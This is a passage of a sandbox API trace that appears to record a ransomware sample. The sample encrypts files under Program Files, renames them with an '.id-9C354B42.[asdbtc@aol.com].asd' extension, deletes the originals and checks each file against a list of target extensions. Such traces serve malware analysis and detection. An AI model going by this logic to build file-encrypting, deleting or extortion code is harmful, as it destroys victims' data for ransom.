[0045.152] GetLastError () returned 0x0 [0045.152] ReadFile (in: hFile=0x19c, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x692, lpOverlapped=0x0) returned 1 [0045.160] WriteFile (in: hFile=0x1c4, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0x6a0, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0x6a0, lpOverlapped=0x0) returned 1 [0045.161] ReadFile (in: hFile=0x19c, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x0, lpOverlapped=0x0) returned 1 [0045.161] WriteFile (in: hFile=0x1c4, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0xe0, lpOverlapped=0x0) returned 1 [0045.161] SetEndOfFile (hFile=0x1c4) returned 1 [0045.162] CloseHandle (hObject=0x1c4) returned 1 [0045.162] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0045.163] SetEndOfFile (hFile=0x19c) returned 1 [0045.163] CloseHandle (hObject=0x19c) returned 1 [0045.163] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0045.164] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png")) returned 1 [0045.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0045.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0045.164] lstrlenW (lpString=".doc") returned 4 [0045.164] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0045.164] lstrlenW (lpString=".docx") returned 5 [0045.164] lstrcmpiW (lpString1=".docx", lpString2="S.PNG") returned -1 [0045.164] lstrlenW (lpString=".pdf") returned 4 [0045.164] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0045.164] lstrlenW (lpString=".xls") returned 4 [0045.164] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0045.164] lstrlenW (lpString=".xlsx") returned 5 [0045.164] lstrcmpiW (lpString1=".xlsx", lpString2="S.PNG") returned -1 [0045.164] lstrlenW (lpString=".ppt") returned 4 [0045.164] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0045.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0045.164] lstrlenW (lpString=".zip") returned 4 [0045.164] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0045.164] lstrlenW (lpString=".rar") returned 4 [0045.164] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0045.164] lstrlenW (lpString=".bz2") returned 4 [0045.164] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0045.164] lstrlenW (lpString=".7z") returned 3 [0045.164] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0045.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0045.165] lstrlenW (lpString=".dbf") returned 4 [0045.165] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0045.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0045.165] lstrlenW (lpString=".1cd") returned 4 [0045.165] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0045.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0045.165] lstrlenW (lpString=".jpg") returned 4 [0045.165] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0045.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0045.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0045.165] lstrlenW (lpString=".doc") returned 4 [0045.165] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0045.165] lstrlenW (lpString=".docx") returned 5 [0045.165] lstrcmpiW (lpString1=".docx", lpString2="S.PNG") returned -1 [0045.165] lstrlenW (lpString=".pdf") returned 4 [0045.165] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0045.165] lstrlenW (lpString=".xls") returned 4 [0045.165] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0045.165] lstrlenW (lpString=".xlsx") returned 5 [0045.165] lstrcmpiW (lpString1=".xlsx", lpString2="S.PNG") returned -1 [0045.165] lstrlenW (lpString=".ppt") returned 4 [0045.165] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0045.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0045.165] lstrlenW (lpString=".zip") returned 4 [0045.165] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0045.165] lstrlenW (lpString=".rar") returned 4 [0045.165] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0045.165] lstrlenW (lpString=".bz2") returned 4 [0045.165] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0045.165] lstrlenW (lpString=".7z") returned 3 [0045.165] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0045.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0045.166] lstrlenW (lpString=".dbf") returned 4 [0045.166] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0045.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0045.166] lstrlenW (lpString=".1cd") returned 4 [0045.166] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0045.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG") returned 61 [0045.166] lstrlenW (lpString=".jpg") returned 4 [0045.166] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0045.166] lstrcmpiW (lpString1=".xml", lpString2=".asd") returned 1 [0045.166] lstrlenW (lpString="Content.xml") returned 11 [0045.166] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0045.741] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=27045) returned 1 [0045.741] CloseHandle (hObject=0x1c0) returned 1 [0045.741] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0045.741] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0045.741] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0045.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0045.741] lstrlenW (lpString=".doc") returned 4 [0045.741] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.741] lstrlenW (lpString=".docx") returned 5 [0045.741] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0045.741] lstrlenW (lpString=".pdf") returned 4 [0045.741] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.741] lstrlenW (lpString=".xls") returned 4 [0045.741] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.742] lstrlenW (lpString=".xlsx") returned 5 [0045.742] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0045.742] lstrlenW (lpString=".ppt") returned 4 [0045.742] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0045.742] lstrlenW (lpString=".zip") returned 4 [0045.742] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.742] lstrlenW (lpString=".rar") returned 4 [0045.742] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.742] lstrlenW (lpString=".bz2") returned 4 [0045.742] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.742] lstrlenW (lpString=".7z") returned 3 [0045.742] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0045.742] lstrlenW (lpString=".dbf") returned 4 [0045.742] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0045.742] lstrlenW (lpString=".1cd") returned 4 [0045.742] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0045.742] lstrlenW (lpString=".jpg") returned 4 [0045.742] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0045.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0045.742] lstrlenW (lpString=".doc") returned 4 [0045.743] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.743] lstrlenW (lpString=".docx") returned 5 [0045.743] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0045.743] lstrlenW (lpString=".pdf") returned 4 [0045.743] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.743] lstrlenW (lpString=".xls") returned 4 [0045.743] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.743] lstrlenW (lpString=".xlsx") returned 5 [0045.743] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0045.743] lstrlenW (lpString=".ppt") returned 4 [0045.743] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0045.743] lstrlenW (lpString=".zip") returned 4 [0045.743] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.743] lstrlenW (lpString=".rar") returned 4 [0045.743] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.743] lstrlenW (lpString=".bz2") returned 4 [0045.743] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.743] lstrlenW (lpString=".7z") returned 3 [0045.743] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0045.743] lstrlenW (lpString=".dbf") returned 4 [0045.743] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0045.743] lstrlenW (lpString=".1cd") returned 4 [0045.743] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0045.744] lstrlenW (lpString=".jpg") returned 4 [0045.744] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.744] lstrcmpiW (lpString1=".xml", lpString2=".asd") returned 1 [0045.744] lstrlenW (lpString="ea.xml") returned 6 [0045.744] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0045.744] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=384) returned 1 [0045.744] CloseHandle (hObject=0x1c0) returned 1 [0045.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml")) returned 0x20 [0045.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0045.745] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0045.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0045.745] lstrlenW (lpString=".doc") returned 4 [0045.745] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.745] lstrlenW (lpString=".docx") returned 5 [0045.745] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0045.745] lstrlenW (lpString=".pdf") returned 4 [0045.745] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.745] lstrlenW (lpString=".xls") returned 4 [0045.745] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.745] lstrlenW (lpString=".xlsx") returned 5 [0045.745] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0045.745] lstrlenW (lpString=".ppt") returned 4 [0045.745] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0045.745] lstrlenW (lpString=".zip") returned 4 [0045.745] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.745] lstrlenW (lpString=".rar") returned 4 [0045.745] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.745] lstrlenW (lpString=".bz2") returned 4 [0045.746] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.746] lstrlenW (lpString=".7z") returned 3 [0045.746] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0045.746] lstrlenW (lpString=".dbf") returned 4 [0045.746] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0045.746] lstrlenW (lpString=".1cd") returned 4 [0045.746] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0045.746] lstrlenW (lpString=".jpg") returned 4 [0045.746] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0045.746] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0045.746] lstrlenW (lpString=".doc") returned 4 [0045.746] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.746] lstrlenW (lpString=".docx") returned 5 [0045.746] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0045.746] lstrlenW (lpString=".pdf") returned 4 [0045.746] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.746] lstrlenW (lpString=".xls") returned 4 [0045.746] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.746] lstrlenW (lpString=".xlsx") returned 5 [0045.746] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0045.746] lstrlenW (lpString=".ppt") returned 4 [0045.746] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0045.747] lstrlenW (lpString=".zip") returned 4 [0045.747] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.747] lstrlenW (lpString=".rar") returned 4 [0045.747] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.747] lstrlenW (lpString=".bz2") returned 4 [0045.747] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.747] lstrlenW (lpString=".7z") returned 3 [0045.747] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0045.747] lstrlenW (lpString=".dbf") returned 4 [0045.747] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0045.747] lstrlenW (lpString=".1cd") returned 4 [0045.747] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0045.747] lstrlenW (lpString=".jpg") returned 4 [0045.747] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.748] lstrcmpiW (lpString1=".xml", lpString2=".asd") returned 1 [0045.748] lstrlenW (lpString="keypadbase.xml") returned 14 [0045.748] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0045.749] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=1118) returned 1 [0045.749] CloseHandle (hObject=0x1c0) returned 1 [0045.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml")) returned 0x20 [0045.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0045.749] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0045.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0045.749] lstrlenW (lpString=".doc") returned 4 [0045.749] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.749] lstrlenW (lpString=".docx") returned 5 [0045.749] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0045.749] lstrlenW (lpString=".pdf") returned 4 [0045.750] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.750] lstrlenW (lpString=".xls") returned 4 [0045.750] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.750] lstrlenW (lpString=".xlsx") returned 5 [0045.750] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0045.750] lstrlenW (lpString=".ppt") returned 4 [0045.750] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0045.750] lstrlenW (lpString=".zip") returned 4 [0045.750] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.750] lstrlenW (lpString=".rar") returned 4 [0045.750] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.750] lstrlenW (lpString=".bz2") returned 4 [0045.750] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.750] lstrlenW (lpString=".7z") returned 3 [0045.750] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0045.750] lstrlenW (lpString=".dbf") returned 4 [0045.750] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0045.750] lstrlenW (lpString=".1cd") returned 4 [0045.750] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0045.750] lstrlenW (lpString=".jpg") returned 4 [0045.750] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0045.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0045.751] lstrlenW (lpString=".doc") returned 4 [0045.751] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.751] lstrlenW (lpString=".docx") returned 5 [0045.751] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0045.751] lstrlenW (lpString=".pdf") returned 4 [0045.751] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.751] lstrlenW (lpString=".xls") returned 4 [0045.751] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.751] lstrlenW (lpString=".xlsx") returned 5 [0045.751] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0045.751] lstrlenW (lpString=".ppt") returned 4 [0045.751] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0045.751] lstrlenW (lpString=".zip") returned 4 [0045.751] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.751] lstrlenW (lpString=".rar") returned 4 [0045.751] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.751] lstrlenW (lpString=".bz2") returned 4 [0045.751] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.751] lstrlenW (lpString=".7z") returned 3 [0045.751] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0045.751] lstrlenW (lpString=".dbf") returned 4 [0045.751] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0045.751] lstrlenW (lpString=".1cd") returned 4 [0045.752] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.752] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0045.752] lstrlenW (lpString=".jpg") returned 4 [0045.752] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.752] lstrcmpiW (lpString1=".xml", lpString2=".asd") returned 1 [0045.752] lstrlenW (lpString="kor-kor.xml") returned 11 [0045.752] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0045.752] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=392) returned 1 [0045.752] CloseHandle (hObject=0x1c0) returned 1 [0045.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml")) returned 0x20 [0045.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0045.753] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0045.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0045.753] lstrlenW (lpString=".doc") returned 4 [0045.753] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.753] lstrlenW (lpString=".docx") returned 5 [0045.753] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0045.753] lstrlenW (lpString=".pdf") returned 4 [0045.753] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.753] lstrlenW (lpString=".xls") returned 4 